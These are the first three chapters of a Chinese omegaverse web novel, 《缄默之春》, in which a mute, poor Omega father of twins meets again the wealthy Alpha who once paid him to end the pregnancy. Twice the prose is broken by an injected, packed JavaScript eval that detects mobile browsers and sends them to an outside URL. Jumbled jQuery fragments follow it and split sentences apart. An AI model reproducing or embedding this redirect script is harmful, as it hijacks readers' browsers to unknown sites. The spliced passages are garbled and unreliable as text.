《缄默之春》 1. 第 1 章 四月末,倒春寒。 一个多月来连续不断的冰雹与强降雨,终于在今夜十点钟彻底摧毁了洛市北部地区的供电系统。璀璨的霓虹灯光同一时间归于暗淡,犹如永夜降临。 “啊!褚少!” 夜都顶层包厢,褚京颐从窗外收回视线,微微侧身,避开了身边的Omega惊慌之下靠向自己的粉腻手臂。 室内嘈杂人声不断,一片漆黑,只剩手机与零星烟头的火光提供着最后的一点光亮。 “停电了?” “不是有备用电源吗?怎么还不启动!去找你们秦经理问问怎么回事!” “温度太低了!UPS启动不了!” 包厢门外传来急匆匆的脚步声,有工作人员的声音在焦急地喊:“诸位别担心,已经在给设备辅助升温了,预计十分钟之内就能恢复供电!” “操!十分钟?”茶几被猛地拍响,褚京颐听到表弟贺一诚在情绪激动地骂娘,“你们干什么吃的?说了多少遍今天不能出岔子?都把老子的话当耳旁风是吧?叫秦永亮那老小子滚过来!” “行了行了,一诚,又不是什么大事,”一贯好脾气的陆泽笑着打圆场,拿起一边的工艺蜡烛点上,烛光照亮了这一小片空间,“先点蜡烛等会儿就行了,不是也蛮有情调?” “一帮废物点心!” 贺一诚犹不甘心,他是东道主,夜都又在他名下,好好的聚会搞成这样,难免觉得脸上挂不住,越发吆五喝六地咋呼起来。 可惜周遭乱得厉害,他又不巧最近喉咙受伤,嗓音粗嘎难听,那点骂声也传不到外间去,只吵得自己人耳膜生疼。 褚京颐刚想叫表弟闭嘴,忽然感觉有什么温热的东西从茶几下挤过来,一把抱住了自己的腿。 “爸爸!” 此话一出,周围那几个人瞬间安静下来。 蜡烛被对面的陆泽推过来,苏星闻一把抓起烛台,就着那点微弱的火光打量褚京颐腿前的小孩儿,大呼小叫:“这谁家孩子啊?” 又去看他们之中唯一结婚生子的庄楷,“你把你儿子带来啦?” 庄楷黑着脸:“我有病啊?谁他妈带孩子逛夜总会。” 贺一诚揪住那小孩儿身上脏兮兮的背带裤的裤带,把人从他哥腿上提起来:“哪来的小乞丐,碰瓷的吧?” 那孩子一张脸脏得跟花猫似的,又是土又是雪水,额头那块儿还磕破了,连长什么样都看不清楚,只有一双圆圆的大眼睛亮得惊人。 那双眼…… 褚京颐微微一怔,脑海中很快掠过什么,还来不及细想,就看见面前这个正一眨不眨地盯着自己的孩子鼓了鼓小嘴巴,再次响亮地喊了一声:“爸爸!” 因为包厢内骤然的安静,这一声几乎都在空气里荡起了一丝回音。 这下可真把这帮不着调的公子哥给逗乐了,苏星闻满脸看好戏的损相,抬胳膊撞了撞面无表情的褚京颐:“哎,褚二,这该不会真是你在外头留的风流种吧?怎么就逮着你一个人喊爸爸呢?” 褚京颐皱了皱眉,还没开口,贺一诚已经高声反驳:“你胡说什么呢!我哥怎么可能背着卿玉哥干这种事!” 褚二少对蓝家那位因为美貌而名盛洛市的蓝卿玉情有独钟,非卿不娶,这在他们这个圈子里已经不算是秘密了。 褚蓝两家世代相交,两人也因此青梅竹马自幼相识,感情甚笃。褚二少苦恋佳人多年,向来洁身自好,就算偶有应酬也将分寸把握得极好,从来没传出过什么绯闻逸事。 但事实真的如此吗? 反正苏星闻不信。 毕竟,蓝卿玉再是美貌无双,如今也不过是个因事故卧床七八年的植物人,褚二少虽然至今单身,明面上身边一个红颜知己都没有,但他一个正当盛年的优等Alpha,又实在不像身患某些不好言说的隐疾,这么多年来难道真能守身如玉? 最起码,你情我愿或者明码交易的一夜风流总该有过吧,又不是和尚,搁这装什么情圣呢。 几人都是家世相当的好友,彼此关系都不赖,只是对于褚二这个在他们这帮二世祖当中第一个进入家族权力核心并且陆续干出一连串漂亮成绩的异类,苏星闻难免有点心气不服,倒也不至于真存什么坏心,只不过偶然在言语上刺几句,平时也乐于见对方吃瘪罢了。 故而,见褚京颐似有不快之色,他那股促狭心思又冒了个头,点了点被贺一诚拎在手里的那个小脏孩儿的脸蛋:“哎,小孩儿,你妈是哪位啊?” 小孩儿不说话,只盯着褚京颐猛看,眼珠亮得跟探照灯似的,活像是见到了什么稀世罕见的物件。甚至还试图伸出一只泥爪去碰褚京颐的脸,像是因为激动连说话都结巴起来:“爸、爸爸……我知道你是爸爸!” 褚京颐向后一仰,靠在沙发上。夹着香烟的右手搁在扶手上,火光明明灭灭,映得他眸光也幽深,仿佛陷入了某种微妙的思索中。 他长眉细目,鼻挺唇薄,五官轮廓精致浓丽,是副再标致不过的薄情长相。比一般亚洲人浅淡许多的肌肤在烛光映衬下透露出一种缺乏血色的苍白,望之如志怪小说中的精魅艳鬼之流。只看容貌或许很容易将他误认为一名风流艳质的Omega,但通身气质却极具威仪,令人无法生出丝毫亵渎之意。 被他这样冷淡的眼神一打量,原本正兴奋叫嚷的小孩儿不知不觉就安静下来,露出一些忐忑与怯色。 周围的气氛变得压抑,庄楷到底也是做父亲的人了,见状有些不忍,便劝道:“京颐,你别吓孩子了,应该是认错人了,待会儿来电了叫工作人员带着找找家长。” 贺一诚纳闷:“奇怪,这小孩儿从哪儿摸进来的?我这店里的安保又不是摆设,就是停电看不清也不该让个小破孩儿混进来啊。” 还恰好找进了顶层他们聚会时最常待的包厢,并且一来就精准地搂住了褚二少…… “哥,”贺一诚面色严肃起来,“我舅舅把鸣晟全权交给你这事,你们二房那边是怎么个意见?” 褚京颐淡淡道:“一家子靠股票分红过活的寄生虫,能有什么意见。 “这可说不好,”贺一诚道,“别是有人存心想搞事吧,靖溪那个项目不是正在关键当口?本来就托了蓝家的关系才能顺当批下来,哥你要是这会儿爆出个私生子来……” “啊?不至于吧,谁不知道蓝霁能坐到今天这个位置全靠褚家在背后为她上下打点,还能真为这点小事翻脸?” 苏星闻不大信,蓝家那颗声名鹊起的政界新星明摆着是绑死了褚氏这艘大船,两家人一荣俱荣一损俱损,就算褚二真搞出个私生子又怎么了,据说蓝霁本人都瞒着家里那位在望京养了个特别宠爱的小情儿,想必也能对褚二少的轻狂过往产生几分Alpha之间的惺惺相惜。 陆泽轻笑一声:“那你知不知道,一向泰山崩于前而色不变的蓝副市长,这么多年来仅有的几次失态可都是因为她那个宝贝弟弟?前两年赵家力捧的那位委员,那个年纪特别轻、长得也特别漂亮的Omega,星闻,你知道他最后是怎么下台的吗?” 苏星闻还真不知道。 但话都说到这份上了,猜也能猜出八九分,便只是咂了咂舌,没再继续不以为意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314655|182931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄楷也不摆圣父架子了,正色道:“那要不把先这孩子扣起来,叫人仔细查查?咱们为了靖溪的项目筹备这么久,总不能半路再出什么差池…… ” “梁小满!” 包厢外,忽然又传来一道气喘吁吁的女童声,朦胧看着是个七八岁的女孩身形,就站在门口,一边指着里头那个小孩儿,一边扭头冲后面什么人喊:“穗穗……妈、妈妈!小满在这儿!” 苏星闻嗤地笑了一声,“一诚,咱们这是贵宾包厢吧?你这管理不行啊,停个电就什么小猫小狗都能往里闯了,啧,不像话。” 又忍不住嘴贱:“小妹妹,叫你妈一块过来玩啊。” 贺一诚被数落得脸上无光,霍地站起来,冲着那个不客气地自己跑进来的小女孩儿发火:“你又是哪个小……” 话音戛然而止。 恍若被一道惊雷劈中,贺一诚脑子嗡嗡直响,盯着小女孩看了几秒,猛然扭过头,满面惊骇:“哥!她,她她她她她……她跟你——” “小满!” 女孩已经跑到他们跟前,声音紧张,但不失礼貌地鞠躬道歉:“对不起,各位叔叔,我弟弟不懂事乱跑,打扰你们了,我马上带他离开。” 摇曳的烛光下,她踌躇着抬起头,露出一张漂亮得令人惊叹的脸。 一张与褚京颐有着八九分相像的脸。 “嚓”,陆泽又默默地点了一根蜡烛,这下看得更清楚了,小女孩就连左眼眼角下那枚红痣都跟褚京颐一模一样。 一片死寂,唯有包厢外的走廊上有些啪嗒啪嗒的声响,像是有人正在急匆匆跑来。 很难说清,那一刻的预感应该算是什么。 褚京颐不自觉坐直了身子,眼神在那张几乎算是自己等比例缩小的脸蛋上停留一秒,然后动作很轻微地将眼珠移向了门口。 有凌乱的脚步声传来,夹杂着一道明显是属于男人的低沉喘息——这个距离能听到喘息声吗? 他不知道,但好像确实听到了,在耳膜上留下一道沉闷而绵长的叩击。 下一瞬,灯亮了,光芒大作。 褚京颐下意识眯了眯眼,视线变得模糊。 模糊的视野里,出现了一道模糊的身影。 “妈妈。”小女孩叫了一声。 有人走进包厢,喘气声很急促,但没有说话,一声不吭地走过来,越来越近。 褚京颐缓慢地眨动双眸,看清了那人的样子。 黑色短发,黑色的,清澈的眼睛。眉毛浓黑,鼻梁高挺笔直,嘴唇饱满,脸颊带着剧烈运动后的潮红,组成了一张线条圆钝、风格朴实的英俊面容。英俊也英俊得过时,像是上个世纪乡土剧中才会出现的人物。 他身高一米八左右,体型高大,贴身的薄外套下能清晰看到肌肉圆隆鼓起的轮廓,外面穿着夜都保洁人员的靛蓝色工作服,小麦色的皮肤上满是汗水,脖颈间戴着一只如今只有控制不好信息素分泌的劣等Omega才会佩戴的笨重金属项环。 才刚刚进入社交距离,便已经能隐隐嗅到从他身上传来的信息素的气味——毫无格调可言的劣质浓香,浓烈得仿佛是路边两元店里随处可见的廉价香薰,与淡雅宜人一类的优等标准相差岂止天堑,足以彰显他那低下得可笑的等级。 此刻,这个意外闯入优等Alpha聚会场地的Omega就这么直挺挺站在他们面前,胸脯一起一伏,表情茫然无措,肉眼可见地不安,不知是因为长久的奔走寻人还是害怕打扰包厢内的贵客。 或是见到了某个本以为此生都不会再相见的人。 2. 第 2 章 梁穗没想到,这辈子竟然还可以再次见到褚京颐。 当年那么惨烈、决绝的别离场景,似乎就浮现在眼前。那张在初次相见时就将自己俘获的妖异美艳的脸容,在回忆与现实交叠的间隙中焕发出一种更加令人心悸的魅力,宛如某种危险来临前的讯号,他浑身的汗毛都战栗了起来。 脑子里一片混乱,记忆也像是出现了中断,到处浮动着一片老旧电视机屏幕常见的雪花噪点,暂时与真实世界切断了连线。 再回过神时,他已经浑浑噩噩地回到了员工休息室,高壮的身体挨着墙站着,如同犯错的小学生,一双儿女乖巧地偎依着他,三人动作一致地低垂着脑袋,听着面前穿着红色主管服饰的女人劈头盖脸训斥: “梁穗!我跟你强调多少遍了工作时间不能带孩子进来!以前被秦经理抓到的那几次我都尽力为你遮掩了,这么大个人了怎么还是不长教训!” “今天来的客人那可都是老板都千叮咛万嘱咐一定要招待好的,你倒好,叫你拿个加热设备都能迷路就算了,你家这个小祸害竟然还胆大包天钻进人家包厢搞破坏!管不住孩子就锁在家里别放出门!不光给你自己找麻烦还连累我们跟你一块吃瓜落!都到月末了你给我整这一出,好嘛,老娘这个月奖金算是泡汤了!” “不想干了就直说!别看是个临时工,一晚上给你开一百二还包一顿宵夜,这种待遇像你这样没学历没户口的劣等Omega打着灯笼也别想找到第二家!你等着,这次我说什么也不管你了,等秦经理待会儿过来亲自辞退你就行了,你就带着这两个拖油瓶上街讨饭去吧!” …… 结结实实挨了半小时痛骂,感觉对方骂声稍止,梁穗小心翼翼抬起头,哀求地望向面前气得脸红脖子粗的女人,一连比划了好几遍道歉的手势,梁晓盈也乖觉,立即换上一脸可怜巴巴的表情替妈妈求饶: “红姨,真的对不起,我跟弟弟本来也不想来打扰你们的,但是冰雹下得太大了,我家屋顶被砸了个大洞,家里到处都是水,太冷了,我,呜呜呜我们也找不到别的地方能躲雨……” 梁小满也跟着姐姐哇哇大哭起来,两只揉眼睛的小脏手上满是伤口,一看就知道是来的路上摔了好几跤,脑袋都摔破了,瞧着着实可怜。 周红腮帮子鼓动了一下,瞪着这对衣衫单薄的姐弟,还是一副余怒未消的模样:“你们来就来吧,不老实待在休息室里等大人下班,乱跑什么?满小子你知不知道你惹了多大的祸!” “黑,好黑,我怕呜呜呜哇哇!” 周红气又上来了:“你还知道怕!你今天冲撞的那几位可是——” “当当。”休息室的门被敲了两下,秦经理推开一道门缝,脸色相当阴沉,朝周红招了招手:“周主管,你出来一下。” “诶好,这就来。” 周红脸上带笑,眼神却狠狠剜了屋里这一大两小一眼,快步走了出去,“砰”地带上了门。 走廊外,女人带着点讨好的爽朗嗓音随着脚步声逐渐远去。 “是这样的,秦经理,这位员工确实是情况比较特殊,家里条件很困难,自个儿带着俩半大不小的孩子,也挺不容易……是是我已经训过他了,保证没有下一次……” 梁穗鼻腔发酸,慢慢靠着墙蹲下来,目光呆滞地望着脚下那一小块地板。 梁晓盈拍了拍他肩膀:“你别急,事情还没到最坏的那地步,说不定只是扣工资呢,我这学期帮同学写作业也赚了几十块,喏,都给你吧。” 说着从裤兜里掏出一只小荷包就往梁穗手里塞。 男人被她这副小大人似的稳重语气逗得勾了勾嘴角,没要女儿的钱,又把那只针脚粗糙的手工荷包推回去,用手语说:「你自己留着花。」 梁小满吸溜着鼻涕蹭进妈妈怀里:“妈妈,爸爸为什么不来找我们?他是不是不知道我们在这儿?” 梁穗脸上笑意一滞,微扬的嘴角慢慢落下来,冲儿子摇了摇头。 他比划:「你认错人了,那位叔叔不是爸爸。」 梁小满瞪大眼睛:“不,我没有认错!他就是爸爸!跟照片里一模一样!” 下意识握了握垂在胸前的表链,梁穗喉咙干涩,艰难地咽了咽唾沫。他忽然有些后悔,自己不该在孩子们吵着要爸爸的时候把那张合照掏出来的……不该为她们留下这么个根本不可能实现的念想。 「就是认错了。」 他坚持。 “我没有!” “行了,梁小满你能不能争点气啊?”梁晓盈打断他,用手指戳了戳弟弟的脑袋,两道细眉一高一低地挑着,显得特别不屑,“还爸爸呢,你看人家稀罕认你吗?不嫌丢人。” 梁穗不知道,其实她们姐弟早就认出来顶层包厢的那群客人里有个人特别像她们的爸爸了。 就在上个月,梁小满就已经偷偷尝试要去包厢找爸爸,但安保太严密,他一个小豆丁根本混不进去,也不敢把动静闹大,害怕让妈妈丢了工作。 直到今天全市停电,夜都一片混乱,梁小满本来跟姐姐一块待在休息室等妈妈,但听见外头人声吵嚷,忽然萌生出再去那个神秘的包厢碰碰运气的念头…… 男孩咬着下唇,泪花已经在眼眶里打转,却没有继续纠缠这个话题。 梁穗发了会儿呆,然后站起来,从抽屉柜找到碘伏跟创口贴,开始给儿子处理脸上和手上的伤口。处理完又按了按他的小肚子,「肚子痛吗?」 “吃完药就不痛了。” 梁穗这才放心。 两分钟后,休息室的门再次被打开了。周红走进来,脸色不是很好看:“你被辞退了,过来跟我领今天的工资吧。” 梁穗在夜都的保洁工作都是日结的,他收好装着自己今天工资的红包,对这几个月以来一直很照顾自己的红姐鞠了个躬,拉着两个孩子准备离开。 周红叫住他:“晓盈不是说你家屋顶漏了?你们今晚打算住哪儿?” 刚来洛市的时候,他们母子仨住过一段时间的桥洞,后来才攒钱在城中村租了一间平房。如今出租屋漏水,桥洞估计也早被水淹了。 梁穗苦恼半天,掏出便利贴,在上面写了三个字,举给周红看:招待所。 周红又想翻白眼了:“洛市哪还有招待所,就旧城区那边有一家,离这五十多里,你们怎么去?这天气打车都打不到!” 她一边骂骂咧咧一边又从自己钱包里数出几张大钞,粗鲁地塞给梁穗:“金日大道对面有几家惠民旅馆,带你两个孩子将就几天吧,什么时候找到工作了记得把钱还我。” 梁穗没接,低头在便利贴上写:不用了,还不起。 确实是还不起。 洛市居大不易,处处都要花钱,蔬菜水果粮油个个都比乡下贵,小满每天都要吃药,晓盈下周得交书本费,再加上医院那边也催得急,工资发下来就是过遍手,根本留不住,他没钱还红姐。 周红看着他这副窝囊样就来气:“还不起就不还!就这几百块我还能报警抓你不成?滚滚滚,别在我跟前碍眼!” 最后,梁穗怀里揣着自己今天的一百二十块工资和红姐借给他的七百块,拉着两个孩子的小手走出了夜都的大门。 夜幕深沉,市电还没来,远远看着只有零星的光亮,应该是一部分营业场所的储备电源。因为没有路灯,街道上还是黑漆漆的,像怪兽张着的大嘴。 梁穗有点轻微的夜盲症,天黑就看不太清东西,也因此有些怕黑。 冰雹已经不下了,但雨还没停呢。 他仰头看了看天,在心里想,不知道什么时候月亮能出来? 有月亮照着,路上还能亮堂一点。 “天气预报说今明两天都是雨夹雪,”梁晓盈看出妈妈在想什么,立即戳破了他不切实际的幻想,“走吧,我牵着你,不会让你摔跤的。” 虽然有钱住旅馆了,但还是得先回出租屋收拾东西,有些重要的证件跟文件如果弄丢了会很麻烦,小满的药也得带上。 “好冷啊。”梁小满跺了跺脚,跟只小兔子似的原地蹦跶了好几下,“咱们得跑起来妈妈,不然要被冻感冒了!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314656|182931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 母子三人穿的都是不加绒的薄款衣裤,本来是很适合春天穿的衣物,但谁能想到会有这连续一个多月的倒春寒呢? 现在外面的气温几乎跟数九寒天无异,刚从温暖的室内出来,身上的温度就在迅速流失,不一会儿,三人就在夜风里瑟瑟发抖起来。 确实不能再这么傻站着不动了。 还好雨不大,出租屋离他上班的店也不算太远,淋一小会儿雨应该也没事。 梁穗握紧了孩子们的手,听着女儿的声音说:“待会儿我数到一咱们就一起跑啊,三,二——” 她那声“一”还没出口,突然被一道轻柔的男性嗓音压过。 “梁穗。” 不算很熟悉的声音,梁穗其实并没有第一时间就听出喊住自己的人是谁,但身体已经自发地打了个激灵,他愣愣地转过头。 对上了一张不久前才在自己脑海中掀起过惊涛骇浪的脸。 “真的是你啊,刚才在包厢还以为我看错了呢。”褚京颐对他笑了笑,神色竟然很温和,仿佛多年后故友重逢,客气又疏离,“好久不见,你过得怎么样?” 梁穗从喉咙里挤出一声很模糊的“嗯”,这是他在外人面前能做到的最大程度的出声,手心微微出汗,他有点想逃跑。 “爸……”梁小满张了张嘴,被姐姐一巴掌拍在嘴巴上,“哎呀你嘴上有只蚊子!” 青年像是这才注意到他身边的两小只,低头问:“这是你的孩子?” 梁穗轻轻点了点头。 “几岁了?” 梁晓盈替妈妈回答:“七岁。” 褚京颐等了一会儿,又问:“你弟弟多大了?” “跟我一样,我们是双胞胎。” 褚京颐面露惊讶,似是没想到这两个不管是身高还是体型看着都至少相差了两三岁的孩子竟然是双胞胎。 梁小满终于拨开姐姐的手,有点激动地结结巴巴说:“我,我在妈妈肚子里被晓盈抢了营养……她、她高,我矮。” “……妈妈,”青年慢慢咀嚼着这个词,脸上笑意淡去,显出几分凉薄的讥色,声音却依旧柔和,“你们爸爸是谁呢?” 两个孩子同时愣了一下。 梁穗也不明白这个问题到底是想问什么,或者说,是想得到一个什么样的答案。 他一向不是个聪明人,一时间有些手足无措,不知道该怎么回答,只能像是以前,很久以前,被褚京颐问得哑口无言的时候那样,呆呆地看着对方,等待更近一步的指示。 “应该不会是我吧?” “……” 好像有点太紧张了,心跳得很快,撞得胸腔也有点痛。 梁穗想按一按胸口,这样或许会舒服一点,但这是在褚京颐跟前,他有些怕他,因此并没有伸手去按,只是低着头,安静地听着。 余光看到面前之人朝自己走近了几步,由于将近十公分的身高差而带来的阴影落在他头顶,重量很沉,压迫感也很强,像是被什么可怕的东西笼罩住、被抓住了一样。 “毕竟——”褚京颐拖长了音调,那些违和的柔软与善意已经尽数剥离,变得冷漠,尖锐,极具攻击性,终于像是他熟悉的那个人的音色了,“当年的那两百万,应该包括了你的打胎费才对。” 淅淅沥沥的雨声变得更大了。 冷风袭来,梁穗打了个哆嗦,然后是一个喷嚏,接着是下一个,又一个……一共打了五个喷嚏。 啊,糟了。 他心里一慌,赶紧抬起头,果然在褚京颐那件一看就很贵的羊绒大衣胸口看见了一大片斑斑点点的口水印。 青年面沉如水,薄唇绷紧,额角隐隐可见青筋。 梁穗想起这个人有严重的洁癖,刚想道歉,便听见对方用那种已经卸去所有温和伪装的、不耐烦的声音说:“上车。” “……?” “上车,”褚京颐又重复了一遍,尖俏秀丽的下颌轻抬,指了指他身后的一辆黑色SUV,“去哪儿,我送你。” “还有点事,要跟你谈谈。” 3. 第 3 章 深夜十二点,供电仍未恢复。 梁穗其实在上车没多久之后就后悔了,因为实在是太堵了。 出租屋离夜都的直线距离并不远,抄小道走的话大概二十多分钟就能到。但褚京颐开车送他要走大路,主干道交通拥堵非常严重,整整一条街都被堵得水泄不通。 据说是前方施工队在抢修管道,车子刚开始还能缓慢挪动,现在已经彻底熄火,不得不停在路边了。 梁穗坐在副驾上,第五次回过头去看后座两个睡得东倒西歪的孩子。 到底年纪太小,又经过这一晚上的混乱,孩子们早就困得不行,被车上暖气一吹,哈欠一个接一个地打,上车没一会儿就撑不住,彼此偎依着睡了过去。 虽然暖气很足,但估计还有一阵子才能到家,这样睡会感冒的。 他犹豫半晌,轻轻地扯了扯驾驶座上之人的袖子。 正凑在车窗边沉默抽烟的青年回过头,扫了眼他搭在自己衣袖上的、微微发抖的手指,很轻地笑了一下,说不上是什么意思。 “怎么?” 梁穗连忙收回手,比划着说想要一张毯子给孩子们盖上。 褚京颐看着他,过了几秒,歪了歪头,问:“为什么不说话?” 从见面到现在,除了在停车场被自己喊住时的那半句含糊的气声,梁穗还一句话都没有对他说过呢。 心因性失语,并不代表语言功能的完全丧失。 梁穗性格内向,在大多数时刻都缄默不言,但褚京颐知道他是可以发声的,至少是可以完整、准确地叫出自己的名字。 就像是很多年前每天都萦绕在耳边的那一声声低低怯怯让人烦不胜烦的“京颐”。 梁穗迷茫地眨了下眼,本来就不小的眼睛睁得更大了,仿佛是在消化这个问题的背后含义——而非问题本身。 他很快就又掏出那本随身携带的便利贴,在上面写道:请给我一条毯子。 似乎褚京颐是因为看不懂他的手势故才有此一问。 可他好像忘了,褚京颐应该是懂手语的。 被他这个笨拙但认真的老师一点点教会的。 褚京颐并不去瞧那张举到自己面前的便利贴,浅琥珀色的瞳孔居高临下望着他,唇边噙着一抹既像是开玩笑又像是嘲弄的浅笑:“ 你不说出来,我怎么知道你想要什么呢?” 梁穗脸上那种急切而恳求的神色僵硬了一下,他这次听懂了。 褚京颐的恶意。 举着便利贴的手臂慢慢放下,男人低下头,粗短浓密的睫毛随之垂下,遮住眼中的情绪。他没再继续做无用功,而是解起了自己身上的外套。 褚京颐挑了挑眉,同样看懂了这场无言的反抗。 真是稀奇,这个在记忆里永远都是那么懦弱卑微的家伙,在自己面前居然还能有这样硬气的一面。 不,或许并不是第一次…… 窸窸窣窣的衣料摩擦声从身侧传来,将他的注意力从刚刚浮现的记忆片段中拉了回去。 褚京颐双手抱臂,冷眼旁观着梁穗费力地从座椅上方转过身子,伸长了胳膊,以一种相当别扭的姿势将自己的外套往后座的两个小孩身上披。 迈巴赫GLS 600的车内空间足够宽敞,但他毕竟是个身材壮硕的成年男子,又不懂调座椅高度,安全带也不晓得要解开,活动之间并不轻松。 还差一点…… 梁穗喘了口气。他大半个身子都翻过了椅背,努力倾身够向后座,腰侧因此扭折成一个向内深凹的角度,从腰至臀曲线分明,包裹在贴身长裤下的臀部被勒得鼓鼓囊囊的,连那肌肉发力时柔软颤动的幅度都叫人一览无余。 密闭空间内,他身上那股一直都收不好的信息素甜香更明显了,本人有留意到吗?这样四下漫溢几乎充斥了整个车厢空间的俗媚香气,仿佛是在对着在场的唯一一位Alpha做着如此拙劣而不知廉耻的勾引。 “!” 突然贴上来的陌生触感惊得梁穗整个身体都弹了一下,外套没拿稳,掉在前后两排座椅之间。 他一下子回过头,呆怔地看着俯身而来、将一条胳膊横穿蹭过自己臀后的青年,眼里是不加掩饰的惊慌,嘴唇很轻微地蠕动了一下,但并没有发出声音。 褚京颐面色如常,按下副驾座椅的调节按钮,随着一声细微的“嗡嗡”声,电机平稳运转,将座椅缓缓移向后座,提供了略微宽敞的空间。 “不用谢。”他收回手,彬彬有礼地道。 外套的袖子碰到了梁晓盈的腿,女孩被这动静惊醒,迷迷糊糊睁开一只眼,咕哝着抓起外套给自己跟弟弟胡乱披上,很快就再次睡了过去。 梁穗愣了一会儿,慢慢把身子转回来,没有对刚才那场意外的小插曲做出更多反应,安静地坐回自己的座椅上。 他外套下是一件单薄的半袖打底。很朴素的黑色,面料看着也很普通,被丰满结实的胸肌撑得蜿蜒起伏,如同绵延在暮春烟雨中的山脊线,走势十分柔和,并不像一般健身过度的男性那样夸张地硬朗,而是透露着一股若有若无的□□感。 作为劣等Omega而言,勉强还算能够吸引Alpha的长处。 不过,对于拥有高度自控力的优等Alpha来说,也就是仅此而已的程度。 还是这样缺乏自知之明。 车窗外传来几声烦躁的喇叭声,他们已经被堵在这里将近四十分钟了。 褚京颐左臂搭在车窗边,以手支颐,目光始终落在被自己盯得越来越紧张的男人身上。良久,终于叹息般开口:“为什么来找我?” “当初,不是说好再也不见面了吗?” 梁穗像是个被老师点到名的小学生,脊背都不由往前挺了挺,他鼓起勇气,抬眼对上对方审视的眼神,认真地摇了摇头。 「我没有要找你。」 即便没有做手势,没有写便利贴,褚京颐也明白了他的意思。 大概是想说今天的重逢只是一场巧合。 在这座拥有着将近三千万常驻人口的国际都市,一个平凡而意外的夜晚,一场命运般的巧合。 不置可否地笑了笑,青年又问:“孩子是怎么回事?” “……” 梁穗咽了下嗓子,不知该作何反应。 “很辛苦吧,独自带着两个孩子。”褚京颐仿佛自言自语般道,语气再度变得柔和,“听说你之后没有继续念书,是因为生了孩子吗?” 搁在大腿上的手指颤动了一下,男人抿了抿唇,车内空气突然变得稀薄,他有点上不来气了。 片刻的沉默,谁都没有作声。 直到褚京颐再次问:“所以,为什么要自讨苦吃呢?” “……” “如果你当初肯听我的话,乖乖去打胎,没有这两个拖累,至少不会沦落到今天这种地步。” 拖……累? 不知怎么,他觉得自己像是被这个冷冰冰的词眼扎了一下,不算太剧烈的痛,但余韵绵长,好像有只小虫子顺着那针眼大的伤口钻了进去,边爬边咬他的肉,沿着爬行痕迹留下阵阵隐痛。 「不是拖累,」梁穗手指发抖地比划着,试图改变这句残酷的判词,「晓盈、小满是我的宝贝。」 能够生下她们姐弟,将孩子们抚养长大,他觉得很幸福。 放弃一些东西,得到另一些,生活本来就该是这样。 他从不后悔自己当初的选择。 “太蠢了。”褚京颐轻声说。 似乎是真心感到疑惑,从他口中吐出的每个字听起来都真挚极了,那种极具羞辱性的真诚,“梁穗,你怎么一直都这么蠢呢?” 每一步,都在行差踏错,自掘后路。 这么多年,一点长进都没有。 “带着两个拖油瓶的单身Omega,还是你这样的劣等货色,居然还能安稳生活到现在,甚至再一次找到洛市来……老实说,我也觉得很意外。” 褚京颐的话语变得尖锐,字字如刀,声音却更温柔了,“就这么喜欢我吗?嗯?就算被我抛弃了也要生下我的孩子,即使自己的生活被搅得一团糟?为什么这么执拗呢?” “是为了那点虚无缥缈的爱情念想?还是有一天登堂入室入主褚家的可能性?哈,你该不会真抱着这样的蠢念头吧?” “我是不是很久很久之前,在你刚开始对我死缠烂打的时候就对你说过,我们之间没有可能?” 辛辣刻薄到足能刮下人一层脸皮的嘲讽话语步步紧逼,含着一点分量相当有限的怜悯,随着两人骤然拉近的距离猝不及防扑进他耳中:“都快三十岁的人了,能不要继续做梦了吗?” 梁穗猛地一缩身子, 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就在那一瞬间,原本昏暗的街道突然明亮如昼,一束从路边的LCD灯牌投射过来的艳丽冷光打在他毫无防备的瞳孔上,刺痛感传来,有温热的液体从眼眶中滴落。 “啪嗒”一声,烫得那只素白优美的手掌蜷缩了一下,顿了顿,很快收回。 路况终于疏通了。 车水马龙开始缓缓移动,喇叭声、哨声、人声混杂撑一团,四周陷入一种比先前更甚的混乱,却是一种积极的,让人能够看到希望的混乱。 迈巴赫重新启动,混入了车流中。 五分钟后,褚京颐将车停在了导航所指引的地方,一片如蛛网密布交织、破败不堪的城中村聚集区。 再往前,就不是汽车能通行的路了。 “你就住在这种地方?”他蹙起眉,挑剔的目光从几乎被连月的暴雨冲毁的排水管道以及连片的菜叶污水等垃圾上一一掠过,嫌恶之意不言而喻,“这跟住在垃圾桶里有什么区别。” 梁穗正忙着拍醒还在后座呼呼大睡的儿女,无暇对这番疑问或者说羞辱做出反应。 褚京颐提高音量:“你打算什么时候离开洛市?” 他确信自己已经把话说得很清楚,梁穗就算之前抱有再多异想天开的念头,现在也该清醒了。 他不可能给他可趁之机的。 “如果你是对当年那份补偿不满意,我可以酌情再加一些。” 褚京颐从怀中掏出一张支票,签下名字后将其递给梁穗,那上面的数字令后者吃了一惊,眼睛再次瞪圆了。 梁穗心跳加快,他现在确实很需要钱,非常需要,可是,褚京颐的意思说得很明白,这笔钱,是打发他带着孩子们离开洛市、滚回老家的补偿。 他还不能…… 梁穗在心里长长地叹了口气,对褚京颐摇摇头,表示不愿意接受这个条件。 青年目不转睛地看了他一会儿,忽地冷笑一声:“随你。” 反正自己已经仁至义尽。 从温暖如春的车上下来,梁穗和孩子们一齐打了个哆嗦。 连最起码能遮风的外套脱掉后,裸露在外的皮肤上迅速冒起密密麻麻的鸡皮疙瘩。他拦住一边打喷嚏一边要把外套脱下来还给自己的梁小满,正准备拉着两个孩子的手跑回家,突然又被褚京颐叫住。 